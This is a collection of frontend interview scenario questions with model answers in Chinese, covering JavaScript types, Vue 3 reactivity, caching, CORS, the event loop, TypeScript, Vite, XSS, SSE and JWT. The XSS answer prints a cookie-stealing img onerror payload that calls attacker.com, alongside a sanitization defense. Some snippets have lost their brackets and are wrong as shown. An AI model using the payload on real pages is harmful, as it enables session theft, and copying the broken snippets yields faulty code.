场景题汇总1

场景题十题。

一、业务场景:

假设在你负责的一个管理后台中,需要调用后端接口获取一个用户列表数据。但在某些异常情况下,后端可能会返回 null、一个空字符串 "",或者一个包含错误信息的普通对象 {}。为了避免前端调用 list.map() 时直接报错白屏,你在处理数据前需要做一次类型判断,确保它是一个真正的数组。

问题本身:

  1. 请问 JavaScript 中目前共有哪些基本数据类型和引用数据类型?
  2. 针对上述场景,你会用什么方法来准确判断这个变量是不是数组(Array)?为什么在这种情况下,使用 typeof 判断是不行的?

想考察的点:

  • 候选人对 JS 数据类型体系的完整认知(包括 ES6+ 新增的类型)。
  • 候选人对常见类型判断方式(typeofinstanceofArray.isArrayObject.prototype.toString.call)的掌握度及优缺点对比。
  • 候选人是否了解 typeof nulltypeof 数组 底层的历史遗留表现。

首先,JavaScript 的数据类型分为两大类:7 种基本数据类型和引用数据类型。基本类型包括 undefined、null、Boolean、Number、String、ES6 的 Symbol 和 ES2020 的 BigInt;引用类型本质都是 Object,包括 Array、Function、Date、Map、Set 等。

针对数组判断,首选 Array.isArray (),这是 ES5 官方标准方法,语义清晰、性能最好,兼容所有现代浏览器。如果需要兼容 IE8 这种极端老环境,可以用 Object.prototype.toString.call () === 'object Array'。不推荐 instanceof,因为它存在跨 iframe / 窗口判断失效的问题。

之所以不能用 typeof 判断数组,是因为 typeof 只能正确识别大部分基本类型,所有引用类型(除了 Function)都会统一返回 'object',所以 typeof 、typeof {}、typeof null 都会得到 'object',完全无法区分。

结合业务场景,我会在拿到接口数据后,直接用const list = Array.isArray(data) ? data : 做兜底,这样无论后端返回 null、空字符串还是错误对象,都能保证后续调用 map 等数组方法不会报错白屏。

  • obj.__proto__ === Array.prototype:直接检查对象的隐式原型是否指向数组的原型对象
  • obj.constructor === Array:检查对象的构造函数属性是否指向 Array 构造函数

这两种是基于原型链的数组判断方法,原理上能判断数组,但生产环境绝对不能用,有两个致命缺陷: 首先,它们和instanceof一样,存在跨 iframe / 窗口失效问题。每个 iframe 都有独立的全局执行环境,拥有自己的Array构造函数和原型对象,跨窗口创建的数组会被这两个方法误判为false。 其次,也是最严重的,它们极易被手动篡改。我可以创建一个普通空对象,把它的__proto__指向Array.prototype,或者把constructor属性改成Array,这时候这两个判断都会返回true,但它本质还是个普通对象,调用map等数组方法依然会报错。 而Array.isArray()是 JavaScript 引擎原生实现,它检查的是对象内部的类型标记,这个标记是对象创建时由引擎赋予的,无法被 JS 代码修改,也不受跨环境影响,所以是唯一可靠的标准方法。

业务场景: 在一个 Vue 项目中,你需要渲染一个极其复杂的长列表,每个列表项都是一个包含很多嵌套层级(如 item.user.profile.settings.theme)的大对象。当用户点击某个按钮切换主题时,你修改了某个嵌套属性的值,页面随即完成了更新。

问题本身:

  1. 请简述 Vue 3 是如何利用 Proxy 实现这种响应式数据追踪的?
  2. 相比于 Vue 2 基于 Object.defineProperty 的响应式方案,Vue 3 的 Proxy 方案在处理深层嵌套对象数组时,有哪些明显的优势?

Vue3 的响应式核心是ES6 原生的 Proxy 代理,它会为原始数据创建一个透明的代理层,拦截对象的所有操作:

  1. 采用懒代理机制:初始化时只代理根对象,只有当代码真正访问到某个深层属性时,才会递归为该属性创建代理,而不是一次性遍历所有嵌套属性
  2. 核心拦截getset操作:访问属性时触发get拦截器,通过Reflect执行原始读取,同时收集当前的副作用函数(比如组件渲染函数);修改属性时触发set拦截器,执行原始赋值后,通知所有依赖该属性的副作用函数重新执行,完成页面更新。Vue 3 底层使用了 WeakMap 来存储对象与依赖的映射关系,这样当对象被销毁时,可以被垃圾回收机制自动回收,避免了内存泄漏。
  3. 它能拦截对象的所有操作,包括属性的新增、删除,数组的索引修改和长度修改等

深层嵌套对象处理的优势

  • Vue2 的问题:初始化时必须递归遍历所有嵌套属性,给每个属性添加 getter/setter,像题目里这种每个列表项都是深层大对象的长列表,初始化性能会非常差;而且如果后续新增深层属性,无法自动响应式,必须手动调用$set
  • Vue3 的优势:懒代理大幅降低了大对象的初始化开销,只有真正被访问到的属性才会被代理;无论多深的属性,只要被访问过,修改时就能自动触发响应式,完全不需要$set

数组处理的优势

  • Vue2 的问题:Object.defineProperty无法拦截数组的索引修改length 修改,只能通过重写push/pop/splice等 7 个变异方法实现响应式,直接写arr[0] = xxxarr.length = 0不会触发页面更新
  • Vue3 的优势:Proxy 可以直接拦截数组的所有操作,包括索引和长度修改,无需重写任何数组方法,所有数组操作都能自动触发响应式

额外优势

还支持拦截对象的新增、删除属性,以及 Map、Set 等 ES6 集合类型的响应式,这些都是 Vue2 原生不支持的。

就像这个复杂长列表场景,Vue3 的懒代理机制能避免初始化时全量递归所有嵌套属性,性能提升非常明显,这也是 Vue3 处理大数据量时体验更好的核心原因。

业务场景: 你刚才提到的那个 Vue 3 复杂长列表项目已经开发完毕并上线了。这周你修复了一个关键的业务 Bug,并通过 CI/CD 部署到了生产环境。但是,客诉群里有几个用户抱怨说:“怎么页面还是原来的样子?那个 Bug 依然存在啊!” 你发现,只要让用户按下 Ctrl + F5 强制刷新,页面就恢复正常了。

问题本身:

  1. 请简述一下浏览器的 强缓存协商缓存 的机制,以及它们分别对应的常用 HTTP 响应头字段。
  2. 结合现代前端工程化(如 Vite / Webpack),我们通常会采取什么样的打包策略服务器缓存配置,来彻底解决上述“用户看到旧版本页面”的问题,同时又能最大化利用缓存性能?

首先,浏览器缓存分为强缓存协商缓存两级。强缓存是浏览器直接从本地读取资源,不发任何请求到服务器,速度最快,对应的响应头是Cache-Control: max-age和旧标准的Expires。当强缓存过期后,就会进入协商缓存,浏览器发请求到服务器验证资源是否更新,没更新就返回 304 继续用缓存,更新了就返回 200 和新资源,对应的头是ETag/If-None-MatchLast-Modified/If-Modified-Since

您说的这个问题,本质就是入口文件 index.html 被错误地设置了强缓存。用户浏览器缓存了旧的 index.html,就会一直引用旧版本的 js 和 css,只有强制刷新才会重新请求。

现代前端工程化的标准解决方案是采用 "静态资源长期强缓存 + 入口文件永不缓存" 的策略:

  1. 打包层面:Vite/Webpack 会自动给所有 js、css、图片等静态资源加上内容哈希后缀,内容变哈希必变,不变则不变;只有 index.html 保持文件名固定,不加哈希。
  2. 服务器层面:对所有带哈希后缀的静态资源,设置 1 年强缓存加immutable,告诉浏览器这个资源永远不会变;对 index.html 则完全禁用强缓存,每次都强制去服务器拿最新版本。

这样部署新版本时,只有内容变化的资源会生成新的哈希文件名,用户访问时永远能拿到最新的 index.html,进而引用最新的静态资源,既彻底解决了旧版本问题,又最大化利用了缓存提升性能。

业务场景: 你的管理后台前后端彻底分离部署。前端页面运行在 https://admin.company.com,而后端 API 服务部署在 https://api.company.com。 当你在前端用 axios 发起一个 POST 请求提交用户表单,并且在请求头里带上了用于身份校验的自定义 Header(如 Authorization: Bearer <token>)时,浏览器控制台突然飘红,报出了熟悉的跨域(CORS)拦截错误。同时,你打开 Network 面板,发现浏览器实际上并没有直接发 POST 请求,而是先偷偷发送了一个 OPTIONS 请求。

问题本身:

  1. 什么是浏览器的同源策略(Same-Origin Policy)?如果不加这个限制,会导致什么样的安全隐患?
  2. 针对上述报错场景,为什么浏览器会先发送一个 OPTIONS 请求(预检请求)?
  3. 在 CORS 规范中,什么样的请求才算是“简单请求”,不需要发送预检?

同源策略:是浏览器限制不同源(协议、域名、端口不完全相同)的文档或脚本进行交互的安全机制。它的核心是防范跨站脚本读取敏感数据。如果没有它,恶意网站可以通过 iframe 或 AJAX 直接窃取用户在网银等站点的敏感信息。 预检机制:当请求不符合简单请求标准(如带有自定义 Header)时,浏览器为了保护不支持 CORS 的老旧服务器不被非预期的跨域复杂请求攻击,会先发送一个 OPTIONS 请求,向服务器确认是否允许该跨域行为。 简单请求:满足方法属于 GET/POST/HEAD;请求头在安全白名单内(Accept、Accept-Language、Content-Language、Content-Type 等);且 Content-Type 仅限于 text/plainmultipart/form-dataapplication/x-www-form-urlencoded 三者之一。

业务场景: 假设你在用 Vue 3 开发一个类似微信 Web 版的聊天工具。当用户点击“发送”按钮时,你将一条新消息 push 到了 messageList 数组中。为了让用户立刻看到新消息,你紧接着在下一行代码中去获取聊天窗口的 DOM 节点,并试图将它的滚动条滚动到最底部(设置 scrollTop = scrollHeight)。 然而你发现,滚动动作总是“慢半拍”,DOM 拿到的高度依然是旧的。后来,你把滚动 DOM 的代码放到了 nextTick 的回调里,问题就迎刃而解了。

问题本身:

  1. 请简述 JavaScript 的事件循环(Event Loop)机制,并说明宏任务(Macrotask)微任务(Microtask)的区别及常见 API。
  2. 在上述场景中,为什么我们同步修改了 messageList 数组,DOM 却没有立刻同步更新?
  3. Vue.nextTick() 的底层核心原理是什么?它是如何利用事件循环机制来保证我们能拿到最新 DOM 的?

JavaScript 是单线程的,它通过 Event Loop 来调度任务。执行顺序一般是:先跑同步代码,当前调用栈清空后,先执行微任务,再视情况进行页面渲染,然后进入下一轮宏任务。

宏任务像 setTimeoutsetInterval、UI 事件;微任务像 Promise.thenqueueMicrotaskMutationObserver,微任务优先级更高,会在当前宏任务结束后立即清空。

在 Vue 里,我们虽然同步修改了 messageList,但 DOM 不会立刻同步更新,因为 Vue 为了性能做了异步批量更新。也就是说,数据变更后,Vue 只是先把组件更新任务放到队列里,等当前这轮同步代码执行完,再统一做 diff 和 DOM patch。所以你在 push 后立刻去拿 DOM,拿到的还是旧的。

nextTick 的原理,就是把回调放到一个异步任务里,并且优先使用微任务,比如 Promise.then。这样它会等当前同步代码执行完、Vue 本轮组件更新和 DOM patch 完成之后,再执行回调。因此在 nextTick 里访问 DOM,就能拿到最新的 DOM 状态,比如最新的 scrollHeight

一句话总结:Vue 的 DOM 更新是异步批量的,nextTick 本质上是利用事件循环,在 DOM 更新完成后再执行回调。

业务场景: 在你的全栈项目中,前端需要大量调用后端的 API。后端的返回格式是一个统一的 JSON 结构,类似于 { code: number, message: string, data: ??? }。其中 data 字段的类型是根据不同接口变化的(比如用户列表接口返回数组,详情接口返回对象)。 你决定基于 axios 封装一个通用的 request 方法,为了避免到处写 any 导致“AnyScript”,你想要让这个方法具备完善的类型提示。

问题本身:

  1. 在 TypeScript 中,为什么我们要尽量避免使用 anyanyunknown 的核心区别是什么?
  2. 针对上述场景,如果一个变量的类型被声明为了 unknown,在不强转(Type Assertion,如 as xxx)的情况下,我们如何安全地去访问它的属性?
  3. 结合这个业务场景,你会如何使用 泛型(Generics) 来封装这个 request 函数,使得调用方在使用 request('/api/user') 时,能准确推导出 data 的类型?

在 TypeScript 里我们要尽量避免 any,因为 any 会直接跳过类型检查,变量拿到之后想怎么用都可以,虽然写起来省事,但很容易把 TypeScript 写成“AnyScript”,失去类型约束和提示能力。unknown 也是可以表示“不确定类型”,但它更安全,因为 unknown 不能直接访问属性、调用方法或赋值给具体类型,必须先做类型收窄,所以它比 any 更适合用在边界数据上,比如后端接口返回值。

如果一个变量是 unknown,又不想用 as 强转,那就要通过类型守卫来安全访问属性。常见做法是先判断它是不是对象、是不是 null,再用 in 操作符判断某个属性是否存在;或者封装自定义类型守卫函数,让 TypeScript 在判断分支里自动完成类型收窄。

在接口封装这个场景里,最适合用泛型。因为后端返回结构是统一的,可以先定义一个通用响应类型,比如 ApiResponse<T> = { code: number; message: string; data: T }。然后把 request 方法写成 request<T>(url): Promise<ApiResponse<T>>。这样 T 就表示每个接口自己的 data 类型。比如用户列表接口调用时写 request<User[]>('/api/user'),那返回值里的 data 就会自动推导成 User[];如果是详情接口,就可以写成 request<UserDetail>('/api/user/detail')。这样既保留了统一响应结构,又让不同接口的数据类型具备完整提示和校验能力。

一句话总结就是:any 放弃检查,unknown 强制收窄更安全;而泛型可以把接口响应里变化的 data 类型参数化,从而让通用 request 函数既复用又类型安全。

业务场景: 你们部门有一个比较庞大的老旧 Vue 2 管理后台,使用的是 Webpack 构建。每次早晨来到公司,敲下 npm run dev,都要苦等 2-3 分钟才能看到本地开发服务器启动完毕;改一行代码触发热更新(HMR),也要等好几秒。 后来,你接手了一个新的 Vue 3 项目,并采用了 Vite 作为构建工具。你震惊地发现,Vite 的冷启动几乎是“秒开”(通常不到 1 秒),且无论项目多大,热更新都快如闪电。但是,当你运行 npm run build 进行生产环境打包时,你发现 Vite 依然花了不少时间。

问题本身:

  1. 为什么在开发环境下(npm run dev),Vite 的冷启动速度能比 Webpack 快那么多?它们在处理模块和启动本地服务器的底层思路上有什么本质区别?
  2. Vite 在开发环境下主要依赖浏览器的什么原生能力来实现如此高效的模块加载?
  3. 既然 Vite 在开发环境这么快,为什么在生产环境(npm run build)不继续使用这种机制,而是要乖乖老实地使用 Rollup 进行全量打包?

Webpack 在开发环境启动慢,核心原因是它走的是先打包、后启动的思路。也就是说,启动 dev server 之前,它要先从入口出发递归分析整个依赖图,把所有模块都经过 loader、plugin 处理后,打成一个或多个 bundle,然后浏览器再去加载这些打包产物。所以项目越大、依赖越多,冷启动就越慢,热更新时也常常需要重新构建一部分模块链路。

而 Vite 的思路本质上不一样,它在开发环境是先启动服务器,再按需编译。启动时不会先把整个项目全量打包,而是直接启动一个轻量的 dev server。浏览器请求哪个模块,Vite 就实时编译并返回哪个模块,因此冷启动成本非常低。第三方依赖会提前做一次预构建,源码模块则按需加载,所以无论项目多大,启动速度都明显优于 Webpack。

Vite 在开发环境高效的关键,主要依赖浏览器原生支持的 ES Modules。浏览器可以直接通过 import 去请求模块,Vite 只需要把源码按 ESM 格式转换后返回给浏览器即可,不需要像 Webpack 那样在开发阶段先整体打成 bundle。

至于为什么生产环境不用这套机制,是因为浏览器原生按模块加载虽然适合开发,但不适合线上。生产环境更关注的是性能和兼容性,如果保留大量零散模块请求,会带来更多网络开销,也不利于做 tree-shaking、代码分割、压缩、作用域提升和资源优化。所以 Vite 在 build 阶段会交给 Rollup 做正式打包,把模块产物优化成更适合线上部署的结果。

一句话总结:Vite 开发快,是因为基于原生 ESM 做按需编译,不再先全量打包;但生产环境为了更好的性能优化和兼容性,仍然需要 Rollup 做完整构建。

业务场景: 你正在开发一款类似 ChatGPT 的 AI Agent 问答助手。LLM(大语言模型)返回的内容通常是 Markdown 格式的文本,其中可能包含代码块、加粗、链接,甚至内联的 HTML 标签。 在 Vue 3 前端应用中,你使用了一个第三方库(比如 marked.jsmarkdown-it)将 LLM 返回的 Markdown 字符串解析成 HTML 字符串,然后直接使用 Vue 的 v-html 指令将其渲染到聊天气泡中。

问题本身:

  1. 什么是 XSS(跨站脚本攻击)?在上述 AI 聊天的业务场景中,如果不对大模型的输出做任何过滤直接使用 v-html 渲染,恶意用户(或者被“提示词注入”攻击的 LLM)可以构造怎样的恶意 Markdown/HTML 内容来触发 XSS 攻击?(请尝试给出一个具体的 Payload 例子)。
  2. 针对这种必须渲染富文本(HTML)的场景,前端标准的防御方案是什么?你会如何改造现有代码来确保安全?
  3. 面试官追问:假设我们在 Cookie 中设置了用户的登录凭证,并且加上了 HttpOnly 属性。请问这能完全防止 XSS 攻击带来的危害吗?为什么?

可以这样回答:


XSS,中文叫跨站脚本攻击,本质上是攻击者把恶意脚本注入到页面中,并在其他用户的浏览器里执行。一旦执行成功,攻击者就可能读取页面信息、冒充用户操作、发起恶意请求,甚至劫持整个会话。

在这个 AI 聊天场景里,风险点非常典型:LLM 返回的是不可信输入。如果我把 Markdown 解析成 HTML 后,直接用 v-html 渲染,而不做任何过滤,那么恶意用户,或者被提示词注入后的模型,就可以返回带脚本能力的内容。例如它可能输出这样的内容:

html
<img src="x" onerror="fetch('https://attacker.com/steal?c=' + document.cookie)">

或者是 Markdown 里混入原生 HTML:

md
正常回答内容

<div onclick="alert('XSS')">点我</div>
<img src="x" onerror="alert('XSS')">
<a href="javascript:alert('XSS')">链接</a>

如果解析器允许原生 HTML,v-html 又直接插进去,这些事件属性、javascript: 协议都可能被浏览器执行,从而触发 XSS。

这种必须渲染富文本的场景,前端标准做法不是不用 v-html,而是:先做 HTML Sanitization,再渲染。也就是在 Markdown 转 HTML 之后,用像 DOMPurify 这样的白名单过滤库,把危险标签和属性去掉,比如 <script>onerroronclickjavascript: 这种都要清掉,然后再把清洗后的 HTML 给 v-html

代码上一般会改成这种思路:

  1. LLM 返回 Markdown
  2. marked / markdown-it 转成 HTML
  3. DOMPurify.sanitize(html) 做净化
  4. 把净化后的结果再交给 v-html

这样才能既保留代码块、加粗、链接等富文本能力,又避免执行恶意脚本。至于追问里说的 HttpOnly Cookie,它不能完全防止 XSS 的危害。它只能防止 JavaScript 直接读取 document.cookie,也就是降低“偷 Cookie”这类风险。但如果页面已经发生 XSS,攻击脚本依然可以在用户已登录状态下直接调用接口、发起转账、改密码、读取页面敏感数据、伪造用户操作。也就是说,HttpOnly 只是降低部分损失,并不能阻止恶意脚本执行本身,所以核心还是要从源头防住 XSS。

一句话总结:LLM 输出也是不可信输入,v-html 渲染前必须经过严格净化;HttpOnly 只能防止 Cookie 被直接读取,不能消除 XSS 对业务操作层面的危害。

业务场景: 在你的类似 ChatGPT 的 AI Agent 助手中,当用户发送问题后,由于大模型推理需要时间,后端不可能等整段回答都生成完毕再返回,那样用户会等很久(白屏假死)。因此,你需要实现一种“打字机”效果——后端每生成一个字,前端就立刻显示一个字。

问题本身:

  1. 在 Web 开发中,要实现这种服务端向客户端实时推送数据的“打字机”效果,除了传统的轮询(Polling),最常用的两种技术是 WebSocketSSE(Server-Sent Events)。请简述它们的核心区别,并在 AI 对话这种业务场景下,为什么业界普遍更倾向于使用 SSE 而不是 WebSocket?
  2. 如果在前端你不使用任何第三方库,仅仅使用浏览器原生的 fetch API 来接收这种流式返回的数据(Stream),你会如何处理响应体(Response)以便能够一块一块(chunk)地读取数据并更新页面?(可以说出关键的 API 或思路)

在实现 AI 对话“打字机”效果时,除了轮询,常见方案就是 WebSocketSSE

它们的核心区别是:WebSocket 是全双工通信,客户端和服务端都可以随时主动发消息,适合聊天室、协同编辑、游戏这类双向实时场景;而 SSE 是单向通信,只能由服务端持续推送到客户端,但它基于 HTTP,协议更轻,天然支持自动重连,实现成本更低。

在 AI 对话这个场景里,用户通常是“发一个问题,然后服务端持续返回生成内容”,本质上更像一次请求对应一段持续输出的结果流,主要是服务端单向推送,所以 SSE 更贴合。相比 WebSocket,它不需要额外维护复杂的连接状态和双向协议,后端实现也更简单,像 OpenAI 这类流式输出场景也普遍采用这种思路。

如果前端不用第三方库,只用原生 fetch 来处理流式响应,关键就是读取 Response.body,因为它是一个 ReadableStream。一般做法是:

  1. 通过 response.body.getReader() 获取 reader
  2. 循环调用 reader.read() 持续读取 chunk
  3. 用 TextDecoder 把二进制 chunk 解码成字符串
  4. 每读到一段,就拼接到结果里并更新页面
  5. 如果返回格式是 SSE,还需要按 \n  或 data: 规则做事件切分和解析

一句话总结就是:WebSocket 适合双向实时通信,SSE 更适合 AI 这种服务端单向流式输出;而原生 fetch 实现流式渲染的核心,就是通过 ReadableStream + getReader + TextDecoder 逐块读取响应体。

业务场景: 你的 AI Agent 应用准备全面对外开放,你需要设计一套用户登录和鉴权系统。考虑到未来可能会有 Web 端、App 端和小程序端等多端接入,团队决定放弃传统的 Session/Cookie 方案,全面拥抱 JWT(JSON Web Token)。 然而,上线不久后遇到了一个安全需求:某位用户的账号被盗,或者该用户修改了密码,安全部门要求必须立即踢该用户下线(即立即使其当前的登录态失效)

问题本身:

  1. 请简述传统的 Session 鉴权JWT 鉴权 的核心区别是什么?(重点从服务器状态管理的角度分析)。
  2. JWT 的核心优势之一是“无状态(Stateless)”,服务器不需要存储 Token。但在上述“需要立即踢人下线或撤销 Token”的场景下,这个“无状态”反而成了痛点。在全栈架构中,你会采用什么方案来解决“如何主动让一个尚未过期的 JWT 失效”这个问题?
  3. 面试官追问:为了平衡安全性和用户体验(不想让用户频繁重新登录),业界通常会采用 双 Token 方案(Access Token + Refresh Token)。请简述这个机制的工作流程。

传统的 Session 鉴权JWT 鉴权,核心区别在于服务器是否保存登录状态。Session 方案是有状态的,用户登录后,服务端会保存一份会话信息,比如存在内存、Redis 或数据库里,客户端只保存一个 sessionId。后续请求带上 sessionId,服务端再去查对应会话,所以如果要强制下线,只要把服务端那条 Session 删掉就行。

而 JWT 方案是无状态的,登录信息和过期时间都放在 Token 里,并由服务端签名。服务端收到请求后,只需要验签和校验过期时间,不需要查库,所以它更适合多端、分布式和微服务场景。但问题也在这里:只要 JWT 没过期且签名正确,它理论上就一直有效,服务端没法像 Session 一样天然“立刻注销”它。

要解决“立即踢人下线”这个问题,实际项目里通常会引入一层状态管理,最常见有两种思路:

  1. 黑名单机制:把需要作废的 JWT,或者它的唯一标识 jti,放到 Redis 黑名单里;服务端验签通过后,再查一次黑名单,如果命中就拒绝访问。
  2. 版本号 / 时间戳机制:在用户表里保存一个 tokenVersion 或 lastLogoutAt。JWT 里也带上这个版本号或签发时间,请求时除了验签,还要和服务端当前值比对;如果用户改密码、被踢下线,就更新这个值,旧 Token 立即失效。

所以本质上讲:一旦有“主动失效”的需求,JWT 就不可能绝对无状态,通常还是要借助 Redis 或数据库来做补充校验。

至于双 Token 机制,一般是:登录后服务端签发一个短期有效的 Access Token,比如 30 分钟,用来访问接口;再签发一个长期有效的 Refresh Token,比如 7 天,用来换新的 Access Token。Access Token 过期后,客户端拿 Refresh Token 去刷新,而不是让用户重新登录。这样平时接口访问用短 Token 提升安全性,需要长期续期时再靠 Refresh Token 保持体验。如果用户被踢下线或改密码,就把 Refresh Token 作废,后续也就无法再刷新新的 Access Token 了。

一句话总结:Session 天然可控但有状态,JWT 易扩展但撤销困难;要实现立即下线,通常要结合黑名单或版本号机制,而双 Token 是业界兼顾安全和体验的常见方案。

虽然双 Token 提升了安全性,但如果 Refresh Token 也被盗了怎么办?业界更严谨的做法是引入刷新令牌轮换机制。即每次使用 Refresh Token 换取新的 Access Token 时,服务端会同时返回一个新的 Refresh Token,并作废旧的 Refresh Token。一旦服务端发现有人尝试使用已作废的 Refresh Token,就会判定存在重放攻击(Token 泄露),从而立刻拉黑该用户的所有 Token,强制其重新登录。

携程暑期面经1
生图